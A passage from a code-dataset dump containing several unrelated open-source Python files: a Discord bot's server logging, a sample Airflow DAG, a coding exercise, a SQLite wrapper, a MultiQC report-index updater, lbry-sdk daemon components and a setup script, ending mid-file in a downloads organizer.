embed and send it in the log channel\n embed = disnake.Embed(\n title=f\"**Joined a new server!** ({len(bot.guilds)}/100)\",\n color=0x66C5CC,\n timestamp=guild.created_at,\n )\n embed.add_field(name=\"**Server Name**\", value=guild.name)\n embed.add_field(name=\"**Owner**\", value=guild.owner)\n embed.add_field(name=\"**Members**\", value=guild.member_count)\n if guild.icon:\n embed.set_thumbnail(url=guild.icon.url)\n embed.set_footer(text=f\"ID • {guild.id} | Server Created\")\n await log_channel.send(embed=embed)\n\n\n@bot.event\nasync def on_guild_remove(guild):\n await db_servers.delete_server(guild.id)\n logger.info(\"left server: {0.name} (id: {0.id})\".format(guild))\n\n # get the log channel\n log_channel_id = os.environ.get(\"ERROR_LOG_CHANNEL\")\n try:\n log_channel = await bot.fetch_channel(log_channel_id)\n except Exception:\n # don't log if no log channel is set\n return\n\n # make the embed and send it in the log channel\n embed = disnake.Embed(\n title=f\"**Left a server...** ({len(bot.guilds)}/100)\",\n color=0xFF3621,\n timestamp=guild.created_at,\n )\n embed.add_field(name=\"**Server Name**\", value=guild.name)\n embed.add_field(name=\"**Owner**\", value=guild.owner)\n embed.add_field(name=\"**Members**\", value=guild.member_count)\n if guild.icon:\n embed.set_thumbnail(url=guild.icon.url)\n embed.set_footer(text=f\"ID • {guild.id} | Server Created\")\n await log_channel.send(embed=embed)\n\n\nif __name__ == \"__main__\":\n\n # setting up loggers\n setup_loggers()\n logger = get_logger(\"main\")\n\n # loading cogs\n logger.debug(\"Loading cogs\")\n commands_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"cogs\")\n for path, subdirs, files in os.walk(commands_dir):\n parent_dir = path\n for extension in files:\n if extension.endswith(\".py\"):\n try:\n if parent_dir != commands_dir:\n relpath = os.path.relpath(\n os.path.join(parent_dir, extension), commands_dir\n )\n extension = \".\".join(os.path.split(relpath))\n bot.load_extension(\"cogs.\" + extension[:-3])\n except Exception:\n logger.exception(f\"Failed to load extension {extension}\")\n try:\n # __start__\n logger.info(\"Starting bot ...\")\n bot.run(os.environ.get(\"DISCORD_TOKEN\"))\n finally:\n # __exit__\n logger.info(\"Bot shut down.\")\n logger.critical(\"Bot shut down.\")\n close_loggers()\n","repo_name":"GrayTurtles/Clueless","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15924,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"62"} +{"seq_id":"33160879786","text":"from datetime import timedelta\n\nfrom airflow import DAG\nfrom airflow.models import Variable\nfrom airflow.operators.bash import BashOperator\nfrom airflow.operators.empty import EmptyOperator\n\nfrom sqlalchemy_utils.types.enriched_datetime.pendulum_date import pendulum\n\n# plugins를 제거해야함.\nfrom operators.custom_operator import CustomOperator\n\n## Variables\nvariables = Variable.get(\"sample_variable\", deserialize_json=True)\nvalue = variables[\"key\"]\n\ndefault_args = {\n \"depends_on_past\": False,\n \"email\": [\"logan.beproud@krosslab.io\"],\n \"email_on_failure\": False,\n \"email_on_retry\": False,\n \"retries\": 0,\n \"retry_delay\": timedelta(minutes=5),\n \"catchup\": False,\n}\n\n## DAG\nwith DAG(\n dag_id=\"sample_dag\",\n start_date=pendulum.datetime(2023, 1, 10, tz=\"UTC\"),\n schedule_interval=\"@once\",\n default_args=default_args,\n) as dag:\n start = EmptyOperator(task_id='start')\n end = EmptyOperator(task_id='end')\n\n op1 = BashOperator(task_id='op1', bash_command='echo Hello World 111')\n op2 = BashOperator(task_id='op2', bash_command='echo Hello World 222')\n op3 = BashOperator(task_id='op3', bash_command='echo Hello World 333')\n\n custom = CustomOperator(task_id='custom', name=\"CustomOperator\")\n\n start >> op1 >> op2 >> op3 >> custom >> end\n","repo_name":"betheproud/aws-mwaa","sub_path":"dags/sample-dag.py","file_name":"sample-dag.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34467256680","text":"def binary(num):\n s = \"\"\n while num>1:\n temp = num%2\n num = num//2\n s += str(temp)\n s+=str(num)\n s[::-1]\n return s\ndef solution(s):\n answer = []\n cnt = 0\n cnt2 = 0\n while s!=\"1\":\n cnt+=1\n cnt2 += s.count(\"0\")\n s = s.replace(\"0\", \"\")\n num = len(s)\n s = binary(num)\n \n answer.append(cnt)\n answer.append(cnt2)\n return answer\n","repo_name":"soodal5629/codingTestProblemSolve","sub_path":"이진 변환 반복하기.py","file_name":"이진 변환 반복하기.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31222008563","text":"from __future__ import unicode_literals\nimport os\nimport sqlite3\n\n\nclass ConcurrentDBM(object):\n\n @classmethod\n def open(cls, filename, create=False):\n if create and not os.path.isfile(filename):\n return cls.create(filename)\n else:\n db = sqlite3.connect(filename)\n return cls(db)\n\n @classmethod\n def create(cls, filename):\n db = sqlite3.connect(filename)\n with db:\n db.execute(\n 'CREATE TABLE docindex (key TEXT PRIMARY KEY, value TEXT)')\n return cls(db)\n\n def __init__(self, db):\n self._db = db\n\n def __getitem__(self, key):\n if isinstance(key, bytes):\n key = key.decode('utf-8')\n cursor = self._db.cursor()\n cursor.execute(\n 'SELECT value FROM docindex WHERE key = :key', {'key': key})\n result = cursor.fetchone()\n if result is not None:\n return result[0]\n raise KeyError(key)\n\n def __setitem__(self, key, value):\n with self._db:\n self._db.execute(\n 'INSERT OR REPLACE INTO docindex (key, value) '\n 'VALUES (:key, :value)',\n {'key': key, 'value': value})\n\n def close(self):\n self._db.close()\n","repo_name":"awslabs/aws-shell","sub_path":"awsshell/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":7020,"dataset":"github-code","pt":"62"} +{"seq_id":"21669280485","text":"#!/usr/bin/env python\n\"\"\"update_index.py\n\nUpdate Multiqc index file from the Viapath Genomics Server with link to new multiqc report. \n\nThis script updates the 'index.html' file on the server (at the location /var/www/html/mokaguys/multiqc/), \nwhich links to all MultiQC reports available. The script takes the index and the name of a multiqc report\n(present on the server at /var/www/html/mokaguys/multiqc/reports/) as command-line arguments. The\nscript then creates a new index file from the input, containing a link to the multiqc report at the\ntop of the reports list. The new index html file is output as 'new_index.html'.\n\nExample:\n $ python update_index.py old_index.html report-multiqc.html\nOutput:\n new_index.html\n\"\"\"\n\nimport os\nimport sys\nfrom bs4 import BeautifulSoup as Soup\n\n# Script arguments are loaded to the sys.argv list. The expected first item is the index html file\n# and the second is the multqc html\nindex_html = sys.argv[1]\n# Remove directory prefix from multiqc html input argument\n# E.g. /usr/bin/multiqc.html --> multiqc.html\nmultiqc_html = os.path.basename(sys.argv[2])\n#make output explicit \n#new_index.html = sys.argv[3]\n# Open the index file as a BeautifulSoup.Soup class. This reads the HTML tags as python objects.\nwith open(index_html) as index:\n soup=Soup(index.read(), features=\"html.parser\")\n\n# Create HTML tags\nbr_tag = soup.new_tag('br')\nbr_tag2 = soup.new_tag('br')\ndiv_tag = soup.new_tag('div')\nh1_tag = soup.new_tag('h1')\nul_tag = soup.new_tag('ul')\na_tag = soup.new_tag('a', href=\"./reports/{}\".format(multiqc_html))\n\n# Set HTML tag metadata\n# Note: The div 'class' attribute defines how Bootstrap3 will render the page. \n# Example HTML:\n#
    \n#

    REPORT

    \n# \n#
    \ndiv_tag['class'] = \"well\"\nh1_tag.string=multiqc_html.replace('-multiqc.html','')\na_tag.string=\"MultiQC report\"\n\n# Set HTML tag nesting heirarchy\nul_tag.append(a_tag)\n# Tags nested within the
    tag are separated with newline characters to achieve the desired format\nfor item in [\"\\n\", h1_tag, \"\\n\", ul_tag, \"\\n\"]:\n div_tag.append(item)\n\n# Insert the HTML tags into the index file, nested within the tag.\n# As soup.body is a list of HTML tags nested within the HTML body. The first argument of the\n# soup.body.insert() method dictates where new tags should be inserted in this list. To ensure the\n# new multiqc report link appears at the top of the HTML, we insert our
    ,
    and
    tags in\n# their respective positions in the list below, immediately after the opening body tag.\nfor position, item in enumerate([br_tag, \"\\n\", br_tag2, \"\\n\", div_tag, \"\\n\"], 1):\n soup.body.insert(position, item)\n\n# Write the new index file\nwith open(sys.argv[3], 'w') as file:\n\tfile.write(str(soup))\n","repo_name":"moka-guys/dnanexus_upload_multiqc","sub_path":"resources/home/dnanexus/update_index.py","file_name":"update_index.py","file_ext":"py","file_size_in_byte":2817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74128058756","text":"import os\nimport asyncio\nimport logging\nimport math\nimport binascii\nimport typing\nimport base58\n\nfrom aioupnp import __version__ as aioupnp_version\nfrom aioupnp.upnp import UPnP\nfrom aioupnp.fault import UPnPError\n\nfrom lbry import utils\nfrom lbry.dht.node import Node\nfrom lbry.dht.blob_announcer import BlobAnnouncer\nfrom lbry.blob.blob_manager import BlobManager\nfrom lbry.blob_exchange.server import BlobServer\nfrom lbry.stream.stream_manager import StreamManager\nfrom lbry.extras.daemon.Component import Component\nfrom lbry.extras.daemon.exchange_rate_manager import ExchangeRateManager\nfrom lbry.extras.daemon.storage import SQLiteStorage\nfrom lbry.wallet import LbryWalletManager\nfrom lbry.wallet.header import Headers\n\nlog = logging.getLogger(__name__)\n\n# settings must be initialized before this file is imported\n\nDATABASE_COMPONENT = \"database\"\nBLOB_COMPONENT = \"blob_manager\"\nHEADERS_COMPONENT = \"blockchain_headers\"\nWALLET_COMPONENT = \"wallet\"\nDHT_COMPONENT = \"dht\"\nHASH_ANNOUNCER_COMPONENT = \"hash_announcer\"\nSTREAM_MANAGER_COMPONENT = \"stream_manager\"\nPEER_PROTOCOL_SERVER_COMPONENT = \"peer_protocol_server\"\nUPNP_COMPONENT = \"upnp\"\nEXCHANGE_RATE_MANAGER_COMPONENT = \"exchange_rate_manager\"\n\n\nclass DatabaseComponent(Component):\n component_name = DATABASE_COMPONENT\n\n def __init__(self, component_manager):\n super().__init__(component_manager)\n self.storage = None\n\n @property\n def component(self):\n return self.storage\n\n @staticmethod\n def get_current_db_revision():\n return 11\n\n @property\n def revision_filename(self):\n return os.path.join(self.conf.data_dir, 'db_revision')\n\n def _write_db_revision_file(self, version_num):\n with open(self.revision_filename, mode='w') as db_revision:\n db_revision.write(str(version_num))\n\n async def start(self):\n # check directories exist, create them if they don't\n log.info(\"Loading databases\")\n\n if not os.path.exists(self.revision_filename):\n log.warning(\"db_revision file not found. Creating it\")\n self._write_db_revision_file(self.get_current_db_revision())\n\n # check the db migration and run any needed migrations\n with open(self.revision_filename, \"r\") as revision_read_handle:\n old_revision = int(revision_read_handle.read().strip())\n\n if old_revision > self.get_current_db_revision():\n raise Exception('This version of lbrynet is not compatible with the database\\n'\n 'Your database is revision %i, expected %i' %\n (old_revision, self.get_current_db_revision()))\n if old_revision < self.get_current_db_revision():\n from lbry.extras.daemon.migrator import dbmigrator\n log.info(\"Upgrading your databases (revision %i to %i)\", old_revision, self.get_current_db_revision())\n await asyncio.get_event_loop().run_in_executor(\n None, dbmigrator.migrate_db, self.conf, old_revision, self.get_current_db_revision()\n )\n self._write_db_revision_file(self.get_current_db_revision())\n log.info(\"Finished upgrading the databases.\")\n\n self.storage = SQLiteStorage(\n self.conf, os.path.join(self.conf.data_dir, \"lbrynet.sqlite\")\n )\n await self.storage.open()\n\n async def stop(self):\n await self.storage.close()\n self.storage = None\n\n\nHEADERS_URL = \"https://headers.lbry.io/blockchain_headers_latest\"\nHEADER_SIZE = 112\n\n\nclass HeadersComponent(Component):\n component_name = HEADERS_COMPONENT\n\n def __init__(self, component_manager):\n super().__init__(component_manager)\n self.headers_dir = os.path.join(self.conf.wallet_dir, 'lbc_mainnet')\n self.headers_file = os.path.join(self.headers_dir, 'headers')\n self.old_file = os.path.join(self.conf.wallet_dir, 'blockchain_headers')\n self.headers = Headers(self.headers_file)\n self.is_downloading_headers = False\n self._headers_progress_percent = 0\n\n @property\n def component(self):\n return self\n\n def _round_progress(self, local_height, remote_height):\n return min(max(math.ceil(float(local_height) / float(remote_height) * 100), 0), 100)\n\n async def get_status(self) -> dict:\n progress = None\n if self.is_downloading_headers:\n progress = self._headers_progress_percent\n elif self.component_manager.has_component(WALLET_COMPONENT):\n wallet_manager = self.component_manager.get_component(WALLET_COMPONENT)\n if wallet_manager and wallet_manager.ledger.network.remote_height > 0:\n local_height = wallet_manager.ledger.headers.height\n remote_height = wallet_manager.ledger.network.remote_height\n progress = self._round_progress(local_height, remote_height)\n return {\n 'downloading_headers': True,\n 'download_progress': progress\n } if progress is not None and progress < 100 else {}\n\n async def fetch_headers_from_s3(self):\n local_header_size = self.headers.bytes_size\n resume_header = {\"Range\": f\"bytes={local_header_size}-\"}\n async with utils.aiohttp_request('get', HEADERS_URL, headers=resume_header) as response:\n if response.status == 406 or response.content_length < HEADER_SIZE: # our file is bigger\n log.warning(\"s3 is more out of date than we are\")\n return\n if response.content_length % HEADER_SIZE != 0:\n log.warning(\"s3 appears to have corrupted header\")\n return\n final_size_after_download = response.content_length + local_header_size\n if local_header_size > 0:\n log.info(\"Resuming download of %i bytes from s3\", response.content_length)\n buffer, header_size = b'', self.headers.header_size\n async for chunk in response.content.iter_any():\n chunk = buffer + chunk\n remaining = len(chunk) % header_size\n chunk, buffer = chunk[:-remaining], bytes(chunk[-remaining:])\n if not chunk:\n continue\n if not await self.headers.connect(len(self.headers), chunk):\n log.warning(\"Error connecting downloaded headers from at %s.\", self.headers.height)\n return\n self._headers_progress_percent = self._round_progress(\n self.headers.bytes_size, final_size_after_download\n )\n\n def local_header_file_size(self) -> int:\n if os.path.isfile(self.headers_file):\n return os.stat(self.headers_file).st_size\n return 0\n\n async def get_downloadable_header_height(self) -> typing.Optional[int]:\n try:\n async with utils.aiohttp_request('HEAD', HEADERS_URL) as response:\n if response.status != 200:\n log.warning(\"Header download error, unexpected response code: %s\", response.status)\n return response.content_length // HEADER_SIZE\n except OSError:\n log.exception(\"Failed to download headers using https.\")\n\n async def should_download_headers_from_s3(self) -> bool:\n if self.conf.blockchain_name != \"lbrycrd_main\":\n return False\n s3_headers_depth = self.conf.s3_headers_depth\n if not s3_headers_depth:\n return False\n\n local_height = self.headers.height\n remote_height = await self.get_downloadable_header_height()\n if remote_height is not None:\n log.info(\"remote height: %i, local height: %i\", remote_height, local_height)\n if remote_height > (local_height + s3_headers_depth):\n return True\n return False\n\n async def start(self):\n if not os.path.exists(self.headers_dir):\n os.mkdir(self.headers_dir)\n if os.path.exists(self.old_file):\n log.warning(\"Moving old headers from %s to %s.\", self.old_file, self.headers_file)\n os.rename(self.old_file, self.headers_file)\n await self.headers.open()\n await self.headers.repair()\n if await self.should_download_headers_from_s3():\n try:\n self.is_downloading_headers = True\n await self.fetch_headers_from_s3()\n except Exception as err:\n log.error(\"failed to fetch headers from s3: %s\", err)\n finally:\n self.is_downloading_headers = False\n await self.headers.close()\n\n async def stop(self):\n pass\n\n\nclass WalletComponent(Component):\n component_name = WALLET_COMPONENT\n depends_on = [DATABASE_COMPONENT, HEADERS_COMPONENT]\n\n def __init__(self, component_manager):\n super().__init__(component_manager)\n self.wallet_manager = None\n\n @property\n def component(self):\n return self.wallet_manager\n\n async def get_status(self):\n if self.wallet_manager and self.wallet_manager.ledger.network.remote_height:\n local_height = self.wallet_manager.ledger.headers.height\n remote_height = self.wallet_manager.ledger.network.remote_height\n best_hash = self.wallet_manager.get_best_blockhash()\n return {\n 'blocks': max(local_height, 0),\n 'blocks_behind': max(remote_height - local_height, 0),\n 'best_blockhash': best_hash,\n 'is_encrypted': self.wallet_manager.use_encryption,\n 'is_locked': not self.wallet_manager.is_wallet_unlocked,\n }\n\n async def start(self):\n log.info(\"Starting torba wallet\")\n self.wallet_manager = await LbryWalletManager.from_lbrynet_config(self.conf)\n await self.wallet_manager.start()\n\n async def stop(self):\n await self.wallet_manager.stop()\n self.wallet_manager = None\n\n\nclass BlobComponent(Component):\n component_name = BLOB_COMPONENT\n depends_on = [DATABASE_COMPONENT]\n\n def __init__(self, component_manager):\n super().__init__(component_manager)\n self.blob_manager: typing.Optional[BlobManager] = None\n\n @property\n def component(self) -> typing.Optional[BlobManager]:\n return self.blob_manager\n\n async def start(self):\n storage = self.component_manager.get_component(DATABASE_COMPONENT)\n data_store = None\n if DHT_COMPONENT not in self.component_manager.skip_components:\n dht_node: Node = self.component_manager.get_component(DHT_COMPONENT)\n if dht_node:\n data_store = dht_node.protocol.data_store\n blob_dir = os.path.join(self.conf.data_dir, 'blobfiles')\n if not os.path.isdir(blob_dir):\n os.mkdir(blob_dir)\n self.blob_manager = BlobManager(self.component_manager.loop, blob_dir, storage, self.conf, data_store)\n return await self.blob_manager.setup()\n\n async def stop(self):\n self.blob_manager.stop()\n\n async def get_status(self):\n count = 0\n if self.blob_manager:\n count = len(self.blob_manager.completed_blob_hashes)\n return {\n 'finished_blobs': count,\n 'connections': {} if not self.blob_manager else self.blob_manager.connection_manager.status\n }\n\n\nclass DHTComponent(Component):\n component_name = DHT_COMPONENT\n depends_on = [UPNP_COMPONENT]\n\n def __init__(self, component_manager):\n super().__init__(component_manager)\n self.dht_node: typing.Optional[Node] = None\n self.external_udp_port = None\n self.external_peer_port = None\n\n @property\n def component(self) -> typing.Optional[Node]:\n return self.dht_node\n\n async def get_status(self):\n return {\n 'node_id': None if not self.dht_node else binascii.hexlify(self.dht_node.protocol.node_id),\n 'peers_in_routing_table': 0 if not self.dht_node else len(self.dht_node.protocol.routing_table.get_peers())\n }\n\n def get_node_id(self):\n node_id_filename = os.path.join(self.conf.data_dir, \"node_id\")\n if os.path.isfile(node_id_filename):\n with open(node_id_filename, \"r\") as node_id_file:\n return base58.b58decode(str(node_id_file.read()).strip())\n node_id = utils.generate_id()\n with open(node_id_filename, \"w\") as node_id_file:\n node_id_file.write(base58.b58encode(node_id).decode())\n return node_id\n\n async def start(self):\n log.info(\"start the dht\")\n upnp_component = self.component_manager.get_component(UPNP_COMPONENT)\n self.external_peer_port = upnp_component.upnp_redirects.get(\"TCP\", self.conf.tcp_port)\n self.external_udp_port = upnp_component.upnp_redirects.get(\"UDP\", self.conf.udp_port)\n external_ip = upnp_component.external_ip\n if not external_ip:\n log.warning(\"UPnP component failed to get external ip\")\n external_ip = await utils.get_external_ip()\n if not external_ip:\n log.warning(\"failed to get external ip\")\n\n self.dht_node = Node(\n self.component_manager.loop,\n self.component_manager.peer_manager,\n node_id=self.get_node_id(),\n internal_udp_port=self.conf.udp_port,\n udp_port=self.external_udp_port,\n external_ip=external_ip,\n peer_port=self.external_peer_port,\n rpc_timeout=self.conf.node_rpc_timeout,\n split_buckets_under_index=self.conf.split_buckets_under_index\n )\n self.dht_node.start(\n interface=self.conf.network_interface, known_node_urls=self.conf.known_dht_nodes\n )\n log.info(\"Started the dht\")\n\n async def stop(self):\n self.dht_node.stop()\n\n\nclass HashAnnouncerComponent(Component):\n component_name = HASH_ANNOUNCER_COMPONENT\n depends_on = [DHT_COMPONENT, DATABASE_COMPONENT]\n\n def __init__(self, component_manager):\n super().__init__(component_manager)\n self.hash_announcer: typing.Optional[BlobAnnouncer] = None\n\n @property\n def component(self) -> typing.Optional[BlobAnnouncer]:\n return self.hash_announcer\n\n async def start(self):\n storage = self.component_manager.get_component(DATABASE_COMPONENT)\n dht_node = self.component_manager.get_component(DHT_COMPONENT)\n self.hash_announcer = BlobAnnouncer(self.component_manager.loop, dht_node, storage)\n self.hash_announcer.start(self.conf.concurrent_blob_announcers)\n log.info(\"Started blob announcer\")\n\n async def stop(self):\n self.hash_announcer.stop()\n log.info(\"Stopped blob announcer\")\n\n async def get_status(self):\n return {\n 'announce_queue_size': 0 if not self.hash_announcer else len(self.hash_announcer.announce_queue)\n }\n\n\nclass StreamManagerComponent(Component):\n component_name = STREAM_MANAGER_COMPONENT\n depends_on = [BLOB_COMPONENT, DATABASE_COMPONENT, WALLET_COMPONENT]\n\n def __init__(self, component_manager):\n super().__init__(component_manager)\n self.stream_manager: typing.Optional[StreamManager] = None\n\n @property\n def component(self) -> typing.Optional[StreamManager]:\n return self.stream_manager\n\n async def get_status(self):\n if not self.stream_manager:\n return\n return {\n 'managed_files': len(self.stream_manager.streams),\n }\n\n async def start(self):\n blob_manager = self.component_manager.get_component(BLOB_COMPONENT)\n storage = self.component_manager.get_component(DATABASE_COMPONENT)\n wallet = self.component_manager.get_component(WALLET_COMPONENT)\n node = self.component_manager.get_component(DHT_COMPONENT)\\\n if self.component_manager.has_component(DHT_COMPONENT) else None\n log.info('Starting the file manager')\n loop = asyncio.get_event_loop()\n self.stream_manager = StreamManager(\n loop, self.conf, blob_manager, wallet, storage, node, self.component_manager.analytics_manager\n )\n await self.stream_manager.start()\n log.info('Done setting up file manager')\n\n async def stop(self):\n self.stream_manager.stop()\n\n\nclass PeerProtocolServerComponent(Component):\n component_name = PEER_PROTOCOL_SERVER_COMPONENT\n depends_on = [UPNP_COMPONENT, BLOB_COMPONENT, WALLET_COMPONENT]\n\n def __init__(self, component_manager):\n super().__init__(component_manager)\n self.blob_server: typing.Optional[BlobServer] = None\n\n @property\n def component(self) -> typing.Optional[BlobServer]:\n return self.blob_server\n\n async def start(self):\n log.info(\"start blob server\")\n upnp = self.component_manager.get_component(UPNP_COMPONENT)\n blob_manager: BlobManager = self.component_manager.get_component(BLOB_COMPONENT)\n wallet: LbryWalletManager = self.component_manager.get_component(WALLET_COMPONENT)\n peer_port = self.conf.tcp_port\n address = await wallet.get_unused_address()\n self.blob_server = BlobServer(asyncio.get_event_loop(), blob_manager, address)\n self.blob_server.start_server(peer_port, interface=self.conf.network_interface)\n await self.blob_server.started_listening.wait()\n\n async def stop(self):\n if self.blob_server:\n self.blob_server.stop_server()\n\n\nclass UPnPComponent(Component):\n component_name = UPNP_COMPONENT\n\n def __init__(self, component_manager):\n super().__init__(component_manager)\n self._int_peer_port = self.conf.tcp_port\n self._int_dht_node_port = self.conf.udp_port\n self.use_upnp = self.conf.use_upnp\n self.upnp: typing.Optional[UPnP] = None\n self.upnp_redirects = {}\n self.external_ip: typing.Optional[str] = None\n self._maintain_redirects_task = None\n\n @property\n def component(self) -> 'UPnPComponent':\n return self\n\n async def _repeatedly_maintain_redirects(self, now=True):\n while True:\n if now:\n await self._maintain_redirects()\n await asyncio.sleep(360, loop=self.component_manager.loop)\n\n async def _maintain_redirects(self):\n # setup the gateway if necessary\n if not self.upnp:\n try:\n self.upnp = await UPnP.discover(loop=self.component_manager.loop)\n log.info(\"found upnp gateway: %s\", self.upnp.gateway.manufacturer_string)\n except Exception as err:\n if isinstance(err, asyncio.CancelledError):\n raise\n log.warning(\"upnp discovery failed: %s\", err)\n self.upnp = None\n\n # update the external ip\n external_ip = None\n if self.upnp:\n try:\n external_ip = await self.upnp.get_external_ip()\n if external_ip != \"0.0.0.0\" and not self.external_ip:\n log.info(\"got external ip from UPnP: %s\", external_ip)\n except (asyncio.TimeoutError, UPnPError, NotImplementedError):\n pass\n\n if external_ip == \"0.0.0.0\" or (external_ip and external_ip.startswith(\"192.\")):\n log.warning(\"unable to get external ip from UPnP, checking lbry.com fallback\")\n external_ip = await utils.get_external_ip()\n if self.external_ip and self.external_ip != external_ip:\n log.info(\"external ip changed from %s to %s\", self.external_ip, external_ip)\n if external_ip:\n self.external_ip = external_ip\n # assert self.external_ip is not None # TODO: handle going/starting offline\n\n if not self.upnp_redirects and self.upnp: # setup missing redirects\n log.info(\"add UPnP port mappings\")\n upnp_redirects = {}\n if PEER_PROTOCOL_SERVER_COMPONENT not in self.component_manager.skip_components:\n try:\n upnp_redirects[\"TCP\"] = await self.upnp.get_next_mapping(\n self._int_peer_port, \"TCP\", \"LBRY peer port\", self._int_peer_port\n )\n except (UPnPError, asyncio.TimeoutError, NotImplementedError):\n pass\n if DHT_COMPONENT not in self.component_manager.skip_components:\n try:\n upnp_redirects[\"UDP\"] = await self.upnp.get_next_mapping(\n self._int_dht_node_port, \"UDP\", \"LBRY DHT port\", self._int_dht_node_port\n )\n except (UPnPError, asyncio.TimeoutError, NotImplementedError):\n pass\n if upnp_redirects:\n log.info(\"set up redirects: %s\", upnp_redirects)\n self.upnp_redirects.update(upnp_redirects)\n elif self.upnp: # check existing redirects are still active\n found = set()\n mappings = await self.upnp.get_redirects()\n for mapping in mappings:\n proto = mapping.protocol\n if proto in self.upnp_redirects and mapping.external_port == self.upnp_redirects[proto]:\n if mapping.lan_address == self.upnp.lan_address:\n found.add(proto)\n if 'UDP' not in found and DHT_COMPONENT not in self.component_manager.skip_components:\n try:\n udp_port = await self.upnp.get_next_mapping(self._int_dht_node_port, \"UDP\", \"LBRY DHT port\")\n self.upnp_redirects['UDP'] = udp_port\n log.info(\"refreshed upnp redirect for dht port: %i\", udp_port)\n except (asyncio.TimeoutError, UPnPError, NotImplementedError):\n del self.upnp_redirects['UDP']\n if 'TCP' not in found and PEER_PROTOCOL_SERVER_COMPONENT not in self.component_manager.skip_components:\n try:\n tcp_port = await self.upnp.get_next_mapping(self._int_peer_port, \"TCP\", \"LBRY peer port\")\n self.upnp_redirects['TCP'] = tcp_port\n log.info(\"refreshed upnp redirect for peer port: %i\", tcp_port)\n except (asyncio.TimeoutError, UPnPError, NotImplementedError):\n del self.upnp_redirects['TCP']\n if ('TCP' in self.upnp_redirects\n and PEER_PROTOCOL_SERVER_COMPONENT not in self.component_manager.skip_components) and (\n 'UDP' in self.upnp_redirects and DHT_COMPONENT not in self.component_manager.skip_components):\n if self.upnp_redirects:\n log.debug(\"upnp redirects are still active\")\n\n async def start(self):\n log.info(\"detecting external ip\")\n if not self.use_upnp:\n self.external_ip = await utils.get_external_ip()\n return\n success = False\n await self._maintain_redirects()\n if self.upnp:\n if not self.upnp_redirects and not all([x in self.component_manager.skip_components for x in\n (DHT_COMPONENT, PEER_PROTOCOL_SERVER_COMPONENT)]):\n log.error(\"failed to setup upnp\")\n else:\n success = True\n if self.upnp_redirects:\n log.debug(\"set up upnp port redirects for gateway: %s\", self.upnp.gateway.manufacturer_string)\n else:\n log.error(\"failed to setup upnp\")\n if self.component_manager.analytics_manager:\n await self.component_manager.analytics_manager.send_upnp_setup_success_fail(\n success, await self.get_status()\n )\n self._maintain_redirects_task = self.component_manager.loop.create_task(\n self._repeatedly_maintain_redirects(now=False)\n )\n\n async def stop(self):\n if self.upnp_redirects:\n log.info(\"Removing upnp redirects: %s\", self.upnp_redirects)\n await asyncio.wait([\n self.upnp.delete_port_mapping(port, protocol) for protocol, port in self.upnp_redirects.items()\n ], loop=self.component_manager.loop)\n if self._maintain_redirects_task and not self._maintain_redirects_task.done():\n self._maintain_redirects_task.cancel()\n\n async def get_status(self):\n return {\n 'aioupnp_version': aioupnp_version,\n 'redirects': self.upnp_redirects,\n 'gateway': 'No gateway found' if not self.upnp else self.upnp.gateway.manufacturer_string,\n 'dht_redirect_set': 'UDP' in self.upnp_redirects,\n 'peer_redirect_set': 'TCP' in self.upnp_redirects,\n 'external_ip': self.external_ip\n }\n\n\nclass ExchangeRateManagerComponent(Component):\n component_name = EXCHANGE_RATE_MANAGER_COMPONENT\n\n def __init__(self, component_manager):\n super().__init__(component_manager)\n self.exchange_rate_manager = ExchangeRateManager()\n\n @property\n def component(self) -> ExchangeRateManager:\n return self.exchange_rate_manager\n\n async def start(self):\n self.exchange_rate_manager.start()\n\n async def stop(self):\n self.exchange_rate_manager.stop()\n","repo_name":"braveheart12/lbry-sdk","sub_path":"lbry/lbry/extras/daemon/Components.py","file_name":"Components.py","file_ext":"py","file_size_in_byte":25150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"13895522194","text":"\"\"\"setup.py\nSetup file for ofpy.\nhttps://github.com/n8henrie/ofpy\n\"\"\"\n\n# Markdown to RST documentation https://coderwall.com/p/qawuyq\ntry:\n import pypandoc\n long_description = pypandoc.convert('README.md', 'rst')\nexcept (IOError, ImportError, RuntimeError) as e:\n try:\n with open('README.md') as r:\n long_description = r.read()\n except (OSError, IOError) as e:\n long_description = 'Add tasks to OmniFocus from Linux'\n\nVERSION = '0.25'\n\nfrom distutils.core import setup\nsetup(\n name='ofpy',\n packages=['ofpy'],\n version=VERSION,\n description='Add tasks to OmniFocus from Linux',\n long_description=long_description,\n author='Nathan Henrie',\n author_email='nate@n8henrie.com',\n url='http://n8henrie.com/2014/09/ofpy',\n download_url='https://github.com/n8henrie/ofpy/tarball/{}'.format(VERSION),\n keywords=['omnifocus', 'productivity', 'tasklist'],\n entry_points={\n 'console_scripts': 'ofpy = ofpy.ofpy:main'\n },\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',\n 'Natural Language :: English',\n 'Operating System :: POSIX :: Linux',\n 'Operating System :: MacOS :: MacOS X',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.4'\n ],\n)\n","repo_name":"n8henrie/ofpy","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"62"} +{"seq_id":"37465350535","text":"#!/usr/bin/python\n\nfrom watchdog.events import FileSystemEventHandler\nfrom watchdog.observers import Observer\nimport os\nimport shutil\nimport time\nimport imghdr\n\n\nclass Handler(FileSystemEventHandler):\n\tdef __init__(self):\n\t\tself.__HOME = os.environ[\"HOME\"]\n\t\tself.pdf_dst = os.path.join(self.__HOME, \"Documents\")\n\t\tself.img_dst = os.path.join(self.__HOME, \"Pictures\")\n\t\tself.tracked = os.path.join(self.__HOME, \"Downloads\")\n\t\tos.chdir(self.tracked)\n\n\tdef on_modified(self, event):\n\t\tif os.path.isfile(event.src_path) and not 